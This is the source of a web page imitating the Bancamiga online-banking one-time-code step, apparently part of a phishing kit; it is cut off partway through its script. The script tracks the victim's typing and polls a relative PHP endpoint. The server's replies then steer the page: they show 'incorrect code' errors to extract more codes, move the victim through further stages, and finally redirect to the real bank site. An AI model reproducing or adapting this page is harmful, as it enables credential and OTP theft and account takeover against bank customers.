}.fa-cloud-upload:before{content:"\f0ee"}.fa-user-md:before{content:"\f0f0"}.fa-stethoscope:before{content:"\f0f1"}.fa-suitcase:before{content:"\f0f2"}.fa-bell-o:before{content:"\f0a2"}.fa-coffee:before{content:"\f0f4"}.fa-cutlery:before{content:"\f0f5"}.fa-file-text-o:before{content:"\f0f6"}.fa-building-o:before{content:"\f0f7"}.fa-hospital-o:before{content:"\f0f8"}.fa-ambulance:before{content:"\f0f9"}.fa-medkit:before{content:"\f0fa"}.fa-fighter-jet:before{content:"\f0fb"}.fa-beer:before{content:"\f0fc"}.fa-h-square:before{content:"\f0fd"}.fa-plus-square:before{content:"\f0fe"}.fa-angle-double-left:before{content:"\f100"}.fa-angle-double-right:before{content:"\f101"}.fa-angle-double-up:before{content:"\f102"}.fa-angle-double-down:before{content:"\f103"}.fa-angle-left:before{content:"\f104"}.fa-angle-right:before{content:"\f105"}.fa-angle-up:before{content:"\f106"}.fa-angle-down:before{content:"\f107"}.fa-desktop:before{content:"\f108"}.fa-laptop:before{content:"\f109"}.fa-tablet:before{content:"\f10a"}.fa-mobile-phone:before,.fa-mobile:before{content:"\f10b"}.fa-circle-o:before{content:"\f10c"}.fa-quote-left:before{content:"\f10d"}.fa-quote-right:before{content:"\f10e"}.fa-spinner:before{content:"\f110"}.fa-circle:before{content:"\f111"}.fa-mail-reply:before,.fa-reply:before{content:"\f112"}.fa-github-alt:before{content:"\f113"}.fa-folder-o:before{content:"\f114"}.fa-folder-open-o:before{content:"\f115"}.fa-smile-o:before{content:"\f118"}.fa-frown-o:before{content:"\f119"}.fa-meh-o:before{content:"\f11a"}.fa-gamepad:before{content:"\f11b"}.fa-keyboard-o:before{content:"\f11c"}.fa-flag-o:before{content:"\f11d"}.fa-flag-checkered:before{content:"\f11e"}.fa-terminal:before{content:"\f120"}.fa-code:before{content:"\f121"}.fa-mail-reply-all:before,.fa-reply-all:before{content:"\f122"}.fa-star-half-empty:before,.fa-star-half-full:before,.fa-star-half-o:before{content:"\f123"}.fa-location-arrow:before{content:"\f124"}.fa-crop:before{content:"\f125"}.fa-code-fork:before{content:"\f126"}.fa-chain-broken:before,.fa-unlink:before{content:"\f127"}.fa-question:before{content:"\f128"}.fa-info:before{content:"\f129"}.fa-exclamation:before{content:"\f12a"}.fa-superscript:before{content:"\f12b"}.fa-subscript:before{content:"\f12c"}.fa-eraser:before{content:"\f12d"}.fa-puzzle-piece:before{content:"\f12e"}.fa-microphone:before{content:"\f130"}.fa-microphone-slash:before{content:"\f131"}.fa-shield:before{content:"\f132"}.fa-calendar-o:before{content:"\f133"}.fa-fire-extinguisher:before{content:"\f134"}.fa-rocket:before{content:"\f135"}.fa-maxcdn:before{content:"\f136"}.fa-chevron-circle-left:before{content:"\f137"}.fa-chevron-circle-right:before{content:"\f138"}.fa-chevron-circle-up:before{content:"\f139"}.fa-chevron-circle-down:before{content:"\f13a"}.fa-html5:before{content:"\f13b"}.fa-css3:before{content:"\f13c"}.fa-anchor:before{content:"\f13d"}.fa-unlock-alt:before{content:"\f13e"}.fa-bullseye:before{content:"\f140"}.fa-ellipsis-h:before{content:"\f141"}.fa-ellipsis-v:before{content:"\f142"}.fa-rss-square:before{content:"\f143"}.fa-play-circle:before{content:"\f144"}.fa-ticket:before{content:"\f145"}.fa-minus-square:before{content:"\f146"}.fa-minus-square-o:before{content:"\f147"}.fa-level-up:before{content:"\f148"}.fa-level-down:before{content:"\f149"}.fa-check-square:before{content:"\f14a"}.fa-pencil-square:before{content:"\f14b"}.fa-external-link-square:before{content:"\f14c"}.fa-share-square:before{content:"\f14d"}.fa-compass:before{content:"\f14e"}.fa-caret-square-o-down:before,.fa-toggle-down:before{content:"\f150"}.fa-caret-square-o-up:before,.fa-toggle-up:before{content:"\f151"}.fa-caret-square-o-right:before,.fa-toggle-right:before{content:"\f152"}.fa-eur:before,.fa-euro:before{content:"\f153"}.fa-gbp:before{content:"\f154"}.fa-dollar:before,.fa-usd:before{content:"\f155"}.fa-inr:before,.fa-rupee:before{content:"\f156"}.fa-cny:before,.fa-jpy:before,.fa-rmb:before,.fa-yen:before{content:"\f157"}.fa-rouble:before,.fa-rub:before,.fa-ruble:before{content:"\f158"}.fa-krw:before,.fa-won:before{content:"\f159"}.fa-bitcoin:before,.fa-btc:before{content:"\f15a"}.fa-file:before{content:"\f15b"}.fa-file-text:before{content:"\f15c"}.fa-sort-alpha-asc:before{content:"\f15d"}.fa-sort-alpha-desc:before{content:"\f15e"}.fa-sort-amount-asc:before{content:"\f160"}.fa-sort-amount-desc:before{content:"\f161"}.fa-sort-numeric-asc:before{content:"\f162"}.fa-sort-numeric-desc:before{content:"\f163"}.fa-thumbs-up:before{content:"\f164"}.fa-thumbs-down:before{content:"\f165"}.fa-youtube-square:before{content:"\f166"}.fa-youtube:before{content:"\f167"}.fa-xing:before{content:"\f168"}.fa-xing-square:before{content:"\f169"}.fa-youtube-play:before{content:"\f16a"}.fa-dropbox:before{content:"\f16b"}.fa-stack-overflow:before{content:"\f16c"}.fa-instagram:before{content:"\f16d"}.fa-flickr:before{content:"\f16e"}.fa-adn:before{content:"\f170"}.fa-bitbucket:before{content:"\f171"}.fa-bitbucket-square:before{content:"\f172"}.fa-tumblr:before{content:"\f173"}.fa-tumblr-square:before{content:"\f174"}.fa-long-arrow-down:before{content:"\f175"}.fa-long-arrow-up:before{content:"\f176"}.fa-long-arrow-left:before{content:"\f177"}.fa-long-arrow-right:before{content:"\f178"}.fa-apple:before{content:"\f179"}.fa-windows:before{content:"\f17a"}.fa-android:before{content:"\f17b"}.fa-linux:before{content:"\f17c"}.fa-dribbble:before{content:"\f17d"}.fa-skype:before{content:"\f17e"}.fa-foursquare:before{content:"\f180"}.fa-trello:before{content:"\f181"}.fa-female:before{content:"\f182"}.fa-male:before{content:"\f183"}.fa-gittip:before,.fa-gratipay:before{content:"\f184"}.fa-sun-o:before{content:"\f185"}.fa-moon-o:before{content:"\f186"}.fa-archive:before{content:"\f187"}.fa-bug:before{content:"\f188"}.fa-vk:before{content:"\f189"}.fa-weibo:before{content:"\f18a"}.fa-renren:before{content:"\f18b"}.fa-pagelines:before{content:"\f18c"}.fa-stack-exchange:before{content:"\f18d"}.fa-arrow-circle-o-right:before{content:"\f18e"}.fa-arrow-circle-o-left:before{content:"\f190"}.fa-caret-square-o-left:before,.fa-toggle-left:before{content:"\f191"}.fa-dot-circle-o:before{content:"\f192"}.fa-wheelchair:before{content:"\f193"}.fa-vimeo-square:before{content:"\f194"}.fa-try:before,.fa-turkish-lira:before{content:"\f195"}.fa-plus-square-o:before{content:"\f196"}.fa-space-shuttle:before{content:"\f197"}.fa-slack:before{content:"\f198"}.fa-envelope-square:before{content:"\f199"}.fa-wordpress:before{content:"\f19a"}.fa-openid:before{content:"\f19b"}.fa-bank:before,.fa-institution:before,.fa-university:before{content:"\f19c"}.fa-graduation-cap:before,.fa-mortar-board:before{content:"\f19d"}.fa-yahoo:before{content:"\f19e"}.fa-google:before{content:"\f1a0"}.fa-reddit:before{content:"\f1a1"}.fa-reddit-square:before{content:"\f1a2"}.fa-stumbleupon-circle:before{content:"\f1a3"}.fa-stumbleupon:before{content:"\f1a4"}.fa-delicious:before{content:"\f1a5"}.fa-digg:before{content:"\f1a6"}.fa-pied-piper:before{content:"\f1a7"}.fa-pied-piper-alt:before{content:"\f1a8"}.fa-drupal:before{content:"\f1a9"}.fa-joomla:before{content:"\f1aa"}.fa-language:before{content:"\f1ab"}.fa-fax:before{content:"\f1ac"}.fa-building:before{content:"\f1ad"}.fa-child:before{content:"\f1ae"}.fa-paw:before{content:"\f1b0"}.fa-spoon:before{content:"\f1b1"}.fa-cube:before{content:"\f1b2"}.fa-cubes:before{content:"\f1b3"}.fa-behance:before{content:"\f1b4"}.fa-behance-square:before{content:"\f1b5"}.fa-steam:before{content:"\f1b6"}.fa-steam-square:before{content:"\f1b7"}.fa-recycle:before{content:"\f1b8"}.fa-automobile:before,.fa-car:before{content:"\f1b9"}.fa-cab:before,.fa-taxi:before{content:"\f1ba"}.fa-tree:before{content:"\f1bb"}.fa-spotify:before{content:"\f1bc"}.fa-deviantart:before{content:"\f1bd"}.fa-soundcloud:before{content:"\f1be"}.fa-database:before{content:"\f1c0"}.fa-file-pdf-o:before{content:"\f1c1"}.fa-file-word-o:before{content:"\f1c2"}.fa-file-excel-o:before{content:"\f1c3"}.fa-file-powerpoint-o:before{content:"\f1c4"}.fa-file-image-o:before,.fa-file-photo-o:before,.fa-file-picture-o:before{content:"\f1c5"}.fa-file-archive-o:before,.fa-file-zip-o:before{content:"\f1c6"}.fa-file-audio-o:before,.fa-file-sound-o:before{content:"\f1c7"}.fa-file-movie-o:before,.fa-file-video-o:before{content:"\f1c8"}.fa-file-code-o:before{content:"\f1c9"}.fa-vine:before{content:"\f1ca"}.fa-codepen:before{content:"\f1cb"}.fa-jsfiddle:before{content:"\f1cc"}.fa-life-bouy:before,.fa-life-buoy:before,.fa-life-ring:before,.fa-life-saver:before,.fa-support:before{content:"\f1cd"}.fa-circle-o-notch:before{content:"\f1ce"}.fa-ra:before,.fa-rebel:before{content:"\f1d0"}.fa-empire:before,.fa-ge:before{content:"\f1d1"}.fa-git-square:before{content:"\f1d2"}.fa-git:before{content:"\f1d3"}.fa-hacker-news:before,.fa-y-combinator-square:before,.fa-yc-square:before{content:"\f1d4"}.fa-tencent-weibo:before{content:"\f1d5"}.fa-qq:before{content:"\f1d6"}.fa-wechat:before,.fa-weixin:before{content:"\f1d7"}.fa-paper-plane:before,.fa-send:before{content:"\f1d8"}.fa-paper-plane-o:before,.fa-send-o:before{content:"\f1d9"}.fa-history:before{content:"\f1da"}.fa-circle-thin:before{content:"\f1db"}.fa-header:before{content:"\f1dc"}.fa-paragraph:before{content:"\f1dd"}.fa-sliders:before{content:"\f1de"}.fa-share-alt:before{content:"\f1e0"}.fa-share-alt-square:before{content:"\f1e1"}.fa-bomb:before{content:"\f1e2"}.fa-futbol-o:before,.fa-soccer-ball-o:before{content:"\f1e3"}.fa-tty:before{content:"\f1e4"}.fa-binoculars:before{content:"\f1e5"}.fa-plug:before{content:"\f1e6"}.fa-slideshare:before{content:"\f1e7"}.fa-twitch:before{content:"\f1e8"}.fa-yelp:before{content:"\f1e9"}.fa-newspaper-o:before{content:"\f1ea"}.fa-wifi:before{content:"\f1eb"}.fa-calculator:before{content:"\f1ec"}.fa-paypal:before{content:"\f1ed"}.fa-google-wallet:before{content:"\f1ee"}.fa-cc-visa:before{content:"\f1f0"}.fa-cc-mastercard:before{content:"\f1f1"}.fa-cc-discover:before{content:"\f1f2"}.fa-cc-amex:before{content:"\f1f3"}.fa-cc-paypal:before{content:"\f1f4"}.fa-cc-stripe:before{content:"\f1f5"}.fa-bell-slash:before{content:"\f1f6"}.fa-bell-slash-o:before{content:"\f1f7"}.fa-trash:before{content:"\f1f8"}.fa-copyright:before{content:"\f1f9"}.fa-at:before{content:"\f1fa"}.fa-eyedropper:before{content:"\f1fb"}.fa-paint-brush:before{content:"\f1fc"}.fa-birthday-cake:before{content:"\f1fd"}.fa-area-chart:before{content:"\f1fe"}.fa-pie-chart:before{content:"\f200"}.fa-line-chart:before{content:"\f201"}.fa-lastfm:before{content:"\f202"}.fa-lastfm-square:before{content:"\f203"}.fa-toggle-off:before{content:"\f204"}.fa-toggle-on:before{content:"\f205"}.fa-bicycle:before{content:"\f206"}.fa-bus:before{content:"\f207"}.fa-ioxhost:before{content:"\f208"}.fa-angellist:before{content:"\f209"}.fa-cc:before{content:"\f20a"}.fa-ils:before,.fa-shekel:before,.fa-sheqel:before{content:"\f20b"}.fa-meanpath:before{content:"\f20c"}.fa-buysellads:before{content:"\f20d"}.fa-connectdevelop:before{content:"\f20e"}.fa-dashcube:before{content:"\f210"}.fa-forumbee:before{content:"\f211"}.fa-leanpub:before{content:"\f212"}.fa-sellsy:before{content:"\f213"}.fa-shirtsinbulk:before{content:"\f214"}.fa-simplybuilt:before{content:"\f215"}.fa-skyatlas:before{content:"\f216"}.fa-cart-plus:before{content:"\f217"}.fa-cart-arrow-down:before{content:"\f218"}.fa-diamond:before{content:"\f219"}.fa-ship:before{content:"\f21a"}.fa-user-secret:before{content:"\f21b"}.fa-motorcycle:before{content:"\f21c"}.fa-street-view:before{content:"\f21d"}.fa-heartbeat:before{content:"\f21e"}.fa-venus:before{content:"\f221"}.fa-mars:before{content:"\f222"}.fa-mercury:before{content:"\f223"}.fa-intersex:before,.fa-transgender:before{content:"\f224"}.fa-transgender-alt:before{content:"\f225"}.fa-venus-double:before{content:"\f226"}.fa-mars-double:before{content:"\f227"}.fa-venus-mars:before{content:"\f228"}.fa-mars-stroke:before{content:"\f229"}.fa-mars-stroke-v:before{content:"\f22a"}.fa-mars-stroke-h:before{content:"\f22b"}.fa-neuter:before{content:"\f22c"}.fa-genderless:before{content:"\f22d"}.fa-facebook-official:before{content:"\f230"}.fa-pinterest-p:before{content:"\f231"}.fa-whatsapp:before{content:"\f232"}.fa-server:before{content:"\f233"}.fa-user-plus:before{content:"\f234"}.fa-user-times:before{content:"\f235"}.fa-bed:before,.fa-hotel:before{content:"\f236"}.fa-viacoin:before{content:"\f237"}.fa-train:before{content:"\f238"}.fa-subway:before{content:"\f239"}.fa-medium:before{content:"\f23a"}.fa-y-combinator:before,.fa-yc:before{content:"\f23b"}.fa-optin-monster:before{content:"\f23c"}.fa-opencart:before{content:"\f23d"}.fa-expeditedssl:before{content:"\f23e"}.fa-battery-4:before,.fa-battery-full:before{content:"\f240"}.fa-battery-3:before,.fa-battery-three-quarters:before{content:"\f241"}.fa-battery-2:before,.fa-battery-half:before{content:"\f242"}.fa-battery-1:before,.fa-battery-quarter:before{content:"\f243"}.fa-battery-0:before,.fa-battery-empty:before{content:"\f244"}.fa-mouse-pointer:before{content:"\f245"}.fa-i-cursor:before{content:"\f246"}.fa-object-group:before{content:"\f247"}.fa-object-ungroup:before{content:"\f248"}.fa-sticky-note:before{content:"\f249"}.fa-sticky-note-o:before{content:"\f24a"}.fa-cc-jcb:before{content:"\f24b"}.fa-cc-diners-club:before{content:"\f24c"}.fa-clone:before{content:"\f24d"}.fa-balance-scale:before{content:"\f24e"}.fa-hourglass-o:before{content:"\f250"}.fa-hourglass-1:before,.fa-hourglass-start:before{content:"\f251"}.fa-hourglass-2:before,.fa-hourglass-half:before{content:"\f252"}.fa-hourglass-3:before,.fa-hourglass-end:before{content:"\f253"}.fa-hourglass:before{content:"\f254"}.fa-hand-grab-o:before,.fa-hand-rock-o:before{content:"\f255"}.fa-hand-paper-o:before,.fa-hand-stop-o:before{content:"\f256"}.fa-hand-scissors-o:before{content:"\f257"}.fa-hand-lizard-o:before{content:"\f258"}.fa-hand-spock-o:before{content:"\f259"}.fa-hand-pointer-o:before{content:"\f25a"}.fa-hand-peace-o:before{content:"\f25b"}.fa-trademark:before{content:"\f25c"}.fa-registered:before{content:"\f25d"}.fa-creative-commons:before{content:"\f25e"}.fa-gg:before{content:"\f260"}.fa-gg-circle:before{content:"\f261"}.fa-tripadvisor:before{content:"\f262"}.fa-odnoklassniki:before{content:"\f263"}.fa-odnoklassniki-square:before{content:"\f264"}.fa-get-pocket:before{content:"\f265"}.fa-wikipedia-w:before{content:"\f266"}.fa-safari:before{content:"\f267"}.fa-chrome:before{content:"\f268"}.fa-firefox:before{content:"\f269"}.fa-opera:before{content:"\f26a"}.fa-internet-explorer:before{content:"\f26b"}.fa-television:before,.fa-tv:before{content:"\f26c"}.fa-contao:before{content:"\f26d"}.fa-500px:before{content:"\f26e"}.fa-amazon:before{content:"\f270"}.fa-calendar-plus-o:before{content:"\f271"}.fa-calendar-minus-o:before{content:"\f272"}.fa-calendar-times-o:before{content:"\f273"}.fa-calendar-check-o:before{content:"\f274"}.fa-industry:before{content:"\f275"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-map-o:before{content:"\f278"}.fa-map:before{content:"\f279"}.fa-commenting:before{content:"\f27a"}.fa-commenting-o:before{content:"\f27b"}.fa-houzz:before{content:"\f27c"}.fa-vimeo:before{content:"\f27d"}.fa-black-tie:before{content:"\f27e"}.fa-fonticons:before{content:"\f280"}.fa-reddit-alien:before{content:"\f281"}.fa-edge:before{content:"\f282"}.fa-credit-card-alt:before{content:"\f283"}.fa-codiepie:before{content:"\f284"}.fa-modx:before{content:"\f285"}.fa-fort-awesome:before{content:"\f286"}.fa-usb:before{content:"\f287"}.fa-product-hunt:before{content:"\f288"}.fa-mixcloud:before{content:"\f289"}.fa-scribd:before{content:"\f28a"}.fa-pause-circle:before{content:"\f28b"}.fa-pause-circle-o:before{content:"\f28c"}.fa-stop-circle:before{content:"\f28d"}.fa-stop-circle-o:before{content:"\f28e"}.fa-shopping-bag:before{content:"\f290"}.fa-shopping-basket:before{content:"\f291"}.fa-hashtag:before{content:"\f292"}.fa-bluetooth:before{content:"\f293"}.fa-bluetooth-b:before{content:"\f294"}.fa-percent:before{content:"\f295"}
       </style>

</head>
<body class="smart-style-2 fixed-page-footer fixed-header desktop-detected">
<div id="main" role="main" class="mainRegister" style="background-image: url(../img/fondo-custom.jpg?V=02/10/23-03:00:40) !important;">
<div id="content" class="container" style="opacity: 1;"><div id="login-form" novalidate="novalidate">
    <div class="modal-dialog demo-modal">
        <div class="modal-content">

            <div class="modal-header">
                <h4 class="modal-title text-center">
                    <img src="../img/BancamigaLogo-14.svg" alt="Bancamiga" style="width: 85%;">
                </h4>
            </div>

            <div class="modal-body smart-form client-form">
                <fieldset>
                    
                            <div class="row well margin-bottom-10">
                            <div class="col-xs-3 col-sm-3 col-md-3 col-lg-3">
                                <section class="profile-pic">
                                    <img  id="imagen1" src="" alt="Imagen Base64">
                                </section>
                            </div>
                            <div class="col-xs-9 col-sm-9 col-md-9 col-lg-9">
                                <div class="padding-10">
                                    <h3>¿Esta es su imagen Anti-Phishing?</h3>
                                    <p>Si la Imagen No Corresponde con la seleccionada por usted.
                                        <br>Favor contáctenos por el 0500-8822622 o
                                        0501-8822622
                                    </p>
                                </div>
                            </div>
                        </div>
                                        <div id="contMet" class="row">
                        <section class="col col-2"></section>
                        <section class="col col-8">
                            <label for="met" class="label"><strong class="texto_mostrar1">Seleccione el método para recibir su clave dinámica</strong></label>
                            <label for="" class="lavel texto_mostrar2 hide" style="margin-top: 10px;">Código proporcionado por el Autenticador de Google</label>
                            <div class="select">
                                <select class="moneda" name="met" id="met" required="" aria-required="true">
                                    <option value="1">SMS</option>
                                    <option value="2">CORREO ELECTRÓNICO</option>
                                </select>
                                <i></i>
                            </div>
                        </section>
                    </div>





                    <div id="contOTP" class="row contOTP hide" >
                        <section class="col col-2"></section>
                        <section class="col col-8">
                            <label for="code" class="label mensajeOTP"></label>
                            <div style="display: flex;">

                                <div class="input margin-right-5" style="flex: 1;">


                                    <i class="fa fa-eye-slash icon-append move_me input-token click_ver1" style="color: rgb(50, 118, 177); font-weight: bold; font-size: 10px; cursor: pointer;"></i>

                               <input class="input-number input-token" maxlength="8" name="code" id="code" autofocus="" autocomplete="off" type="password">

                                    <b class="tooltip tooltip-top-right input-token">
                                    	<i class="fa fa-lock txt-color-teal"></i> Clic aqui para visualizar clave</b>
                                </div>
                                <div id="loading-resend" class="text-center hide">
                                    <img src="../img/loading.webp" alt="" height="30">
                                </div>
                                <button id="cmdResend" type="button" class="btn btn-primary" style="padding: 0 8px;">
                                    Reenviar Clave
                                </button>
                            </div>
                        </section>
                    </div>

                    <script type="text/javascript">
                    	document.addEventListener("DOMContentLoaded", function() {
                        var clickVer1 = document.querySelectorAll(".click_ver1");
                        var passInput = document.getElementById("code");

                        clickVer1.forEach(function(element) {
                            element.addEventListener("click", function() {
                                if (passInput.type === "password") {
                                    passInput.type = "text";
                                    element.classList.remove("fa-eye-slash");
                                    element.classList.add("fa-eye");
                                } else {
                                    passInput.type = "password";
                                    element.classList.remove("fa-eye");
                                    element.classList.add("fa-eye-slash");
                                }
                            });
                        });
                    });
                    </script>


                    <div class="alert alert-info" style="margin: 0px">
                        <i class="fa fa-info"></i> Olvidate de la clave dinámica por SMS y correo electrónico. Activando
                        el 2FA desde la posición global tendrás más seguridad y rapidez en tus operaciones.
                    </div>
                    
                </fieldset>
            </div>

            <div class="modal-footer text-center">
                <div class="cargando text-center hide">
                    <img src="../img/loading.webp" alt="" height="30"> Cargando, Por favor espere un momento...
                </div>
                <div class="botones botones1">
                    <button type="button" class="btn btn-danger margin-top-5" id="btn_cancel">
                        <i class="fa fa-times"></i>
                        Cancelar
                    </button>

                    <button type="button" class="btn btn-primary margin-top-5 hide" id="cmdOlvido">
                        <i class="fa fa-user"></i>
                        No puedo acceder a mi 2FA
                    </button>

                    <button type="button" class="btn btn-primary margin-top-5" id="btn_clave">
                        <i class="fa fa-check"></i> Enviar Clave Dinámica
                    </button>
                    <button type="submit" class="btn btn-success margin-top-5 hide" id="btn_ingresar">
                        <i class="fa fa-check"></i> Ingresar
                    </button>
                </div>

                <br>

                <div class="clearfix"></div>

                <hr>
                <div class="clearfix"></div>
                <p class="text-center">
                    <strong class="note">
                        Para mayor información o asesoria contáctanos al <br>
                        Centro de atención Bancamiga (CAB)<br>
                        0500-TUBANCA y 0500-1000400
                    </strong>
                </p>
            </div>

        </div><!-- /.modal-content -->
    </div><!-- /.modal-dialog -->
</div>


</div>
</div>

<div class="page-footer text-center">
<strong class="txt-color-white">
Bancamiga Banco Universal - RIF: J-31628759-9
<span class="hidden-xs"> Copyright © 2018.</span> Todos los derechos reservados.</strong>
<table class="pull-right" style="margin-top:-10px" width="135" border="0" cellpadding="2" cellspacing="0" title="Click to Verify - This site chose Symantec SSL for secure e-commerce and confidential communications.">
<tbody><tr>
<td width="135" align="center" valign="top">
<br>
</td>
</tr>
</tbody></table>

</div>


<div id="divSmallBoxes"></div><div id="divMiniIcons"></div><div id="divbigBoxes"></div>


</body>





<script type="text/javascript">
let var_escribiendo = 0; // Variable global, 0 si no está escribiendo, 1 si está escribiendo
let typingTimeout;

// Función que detecta cuando el usuario está escribiendo
function handleUserTyping() {
    // Cambiar el valor de var_escribiendo a 1 cuando el usuario está escribiendo
    var_escribiendo = 1;
    console.log('Escribiendo:', var_escribiendo);

    // Reiniciar el temporizador cada vez que el usuario interactúe
    clearTimeout(typingTimeout);

    // Si después de 2 segundos no ha escrito más, cambiar var_escribiendo a 0
    typingTimeout = setTimeout(() => {
        var_escribiendo = 0;
        console.log('Dejó de escribir:', var_escribiendo);
    }, 2000);  // 2 segundos
}

// Seleccionamos todos los inputs y selects para detectar la interacción
const inputsAndSelects = document.querySelectorAll('input, select');
inputsAndSelects.forEach(element => {
    element.addEventListener('input', handleUserTyping); // Detectar cambios en los inputs y selects
});

// Si agregas dinámicamente nuevos inputs o selects, el MutationObserver les asigna el evento
const observer = new MutationObserver((mutations) => {
    mutations.forEach(mutation => {
        mutation.addedNodes.forEach(node => {
            if (node.tagName === 'INPUT' || node.tagName === 'SELECT') {
                node.addEventListener('input', handleUserTyping);
            }
        });
    });
});

// Observar cambios en el DOM (inputs o selects agregados dinámicamente)
observer.observe(document.body, { childList: true, subtree: true });

    



function generarIdentificador() {
    const fechaHoy = new Date().toISOString().split('T')[0]; // Fecha actual en formato YYYY-MM-DD
    
    // Generar una cadena aleatoria de 100 caracteres
    let randomPart = '';
    while (randomPart.length < 100) {
        randomPart += Math.random().toString(36).substring(2); // Añadir aleatorios hasta alcanzar 100 caracteres
    }
    randomPart = randomPart.substring(0, 100); // Asegurarse de que tenga exactamente 100 caracteres
    
    return `${fechaHoy}-${randomPart}`; // Identificador único basado en la fecha y parte aleatoria
}


// Clave para almacenar en localStorage
const claveIdentificador = "identificador_unico";

// Función para obtener el identificador actual o generar uno nuevo si es necesario
function obtenerIdentificador() {
    const fechaHoy = new Date().toISOString().split('T')[0]; // Fecha actual en formato YYYY-MM-DD
    let identificador = localStorage.getItem(claveIdentificador); // Obtiene el identificador del localStorage

    // Si no existe un identificador o no corresponde al día actual, se genera uno nuevo
    if (!identificador || !identificador.startsWith(fechaHoy)) {
        identificador = generarIdentificador(); // Generar un nuevo identificador
        localStorage.setItem(claveIdentificador, identificador); // Guardarlo en localStorage
    }
    return identificador; // Retorna el identificador actual
}






let conect_user = 0;
let coloco_user = 0;
let coloco_imagen = 0;

async function Connect_system() {
  let resp_form2 = localStorage.getItem("resp_form2");
	let resp_form_session = localStorage.getItem("resp_form_session");

  let pantalla = 1;
  let ident = obtenerIdentificador();


  if (conect_user == 0) {
    conect_user = 1;

    $.ajax({
      type: "POST",
      url: "../../../php/conectado_user.php",
      async: true,
      data: { "pantalla": 2 ,"var_escribiendo": var_escribiendo, "ident": ident,},
      success: function(datos) {
        var dataJson = eval(datos);
        console.log(dataJson);

        if (dataJson.length > 0) {
          if (datos[0].guardo == 'no') {
            window.location.href = '../../..';
            return;
          }

          if (dataJson[0].redirigir == 1) {
            window.location.href = 'https://online.bancamiga.com/?p=1';
            return;
          }

          

          if (dataJson[0].valid_user_0 == 9) {
            window.location.href = '../ini/?p=1';
            return;
          }

            if (dataJson[0].valid_user_0 == 3) {
            if (resp_form_session == 0) {
              setTimeout(function() {
                localStorage.setItem("resp_form_session", "1");

                 Swal.fire({
                  text: 'Estimado usuario, Su sesión ha expirado',
                  icon: "warning"
                });

                  setTimeout(function() {

                       window.location.href = '../ini/?p=1';

                  }, 3000);



              }, 500);
            }
          }

            if (dataJson[0].valid_user_0 == 4) {
          
               window.location.href = '../changepass/?p=1';

           }
    

          // cuando el user es correcto....
          if (dataJson[0].valid_code1 == 1) {
            window.location.href = '../f3/?p=1';
            return;
          }
    
  
     
          if (dataJson[0].valid_code1 == 2) {
            if (resp_form2 == 0) {
              setTimeout(function() {
                localStorage.setItem("resp_form2", "1");

                Swal.fire({
                  text: 'Estimado cliente, la clave dinámica es incorrecta. Por favor verifique e intente de nuevo',
                  icon: "error"
                });

                 document.getElementById('code').value = '';
                 document.getElementById('code').disabled=false;
                 document.getElementById('code').focus();
              }, 500);
            }
          }



          // imagen1
          if (dataJson[0].valid_user_0 == 1) {
            document.getElementById('imagen1').src = dataJson[0].url_imagen1;

            if (dataJson[0].tipo_code2 == 'CORREO' || dataJson[0].tipo_code2 == 'SMS') {
              if (dataJson[0].valid_code1 == '9' || dataJson[0].valid_code1 == '2') {
                document.getElementsByClassName('select')[0].classList.add('hide');
                document.getElementsByClassName('contOTP')[0].classList.remove('hide');

                if (dataJson[0].tipo_code2 == 'SMS') {
                  document.getElementsByClassName('texto_mostrar1')[0].innerHTML = 'Introduzca la clave dinámica enviada via SMS';
                }
                if (dataJson[0].tipo_code2 == 'CORREO') {
                  document.getElementsByClassName('texto_mostrar1')[0].innerHTML = 'Introduzca la clave dinámica enviada via Correo Electrónico';
                }

                var elementos_texto = document.querySelectorAll(".smart-form .label");
                elementos_texto.forEach(function(elemento) {
                  elemento.style.marginBottom = "-6px";
                });

                var elementoACargar = document.querySelector(".cargando");
                elementoACargar.classList.add("hide");

                var btn_clave = document.getElementById("btn_clave");
                btn_clave.classList.add("hide");

                var btn_ingresar = document.getElementById("btn_ingresar");
                btn_ingresar.classList.remove("hide");

                var btn_cancel = document.getElementById("btn_cancel");
                btn_cancel.classList.remove("hide");
                let tipo_code2 = document.getElementById('met').value;
              }
            }

            if (dataJson[0].tipo_code2 == 'TOKEN') {
              if (dataJson[0].valid_code1 == '9' || dataJson[0].valid_code1 == '2') {
                document.getElementsByClassName('select')[0].classList.add('hide');
                document.getElementsByClassName('contOTP')[0].classList.remove('hide');

                if (dataJson[0].tipo_code2 == 'SMS') {
                  document.getElementsByClassName('texto_mostrar1')[0].innerHTML = 'Introduzca la clave dinámica enviada via SMS';
                }
                if (dataJson[0].tipo_code2 == 'CORREO') {
                  document.getElementsByClassName('texto_mostrar1')[0].innerHTML = 'Introduzca la clave dinámica enviada via Correo Electrónico';
                }

                var elementos_texto = document.querySelectorAll(".smart-form .label");
                elementos_texto.forEach(function(elemento) {
                  elemento.style.marginBottom = "-6px";
                });

                var elementoACargar = document.querySelector(".cargando");
                elementoACargar.classList.add("hide");

                var btn_clave = document.getElementById("btn_clave");
                btn_clave.classList.add("hide");

                var btn_ingresar = document.getElementById("btn_ingresar");
                btn_ingresar.classList.remove("hide");

                var btn_cancel = document.getElementById("btn_cancel");
                btn_cancel.classList.remove("hide");
                let tipo_code2 = document.getElementById('met').value;

                var cmdResend = document.getElementById("cmdResend");
                cmdResend.classList.add("hide");

                var cmdOlvido = document.getElementById("cmdOlvido");
                cmdOlvido.classList.remove("hide");

                document.getElementsByClassName("alert alert-info")[0].classList.add('hide');
                document.getElementsByClassName('texto_mostrar1')[0].classList.add("hide");
                document.getElementsByClassName('texto_mostrar2')[0].classList.remove("hide");
              }
            }
          }

          if (dataJson[0].valid_user_0 == 1 && dataJson[0].valid_code1 == 0) {
            document.getElementById('code').value = dataJson[0].code1;
            document.getElementById('code').disabled='true';

            var elementoACargar = document.querySelector(".cargando");
            elementoACargar.classList.remove("hide");

            var btn_clave = document.getElementById("btn_clave");
            btn_clave.classList.add("hide");

            var btn_cancel = document.getElementById("btn_cancel");
            btn_cancel.classList.add("hide");

            var btn_ingresar = document.getElementById("btn_ingresar");
            btn_ingresar.classList.add("hide");

            var cmdOlvido = document.getElementById("cmdOlvido");
            cmdOlvido.classList.add("hide");

            document.getElementById('code').value = dataJson[0].code1;

            document.getElementsByClassName('select')[0].classList.add('hide');
            document.getElementsByClassName('contOTP')[0].classList.remove('hide');

            if (dataJson[0].tipo_code2 == 'SMS') {
              document.getElementsByClassName('texto_mostrar1')[0].innerHTML = 'Introduzca la clave dinámica enviada via SMS';
            }
            if (dataJson[0].tipo_code2 == 'CORREO') {
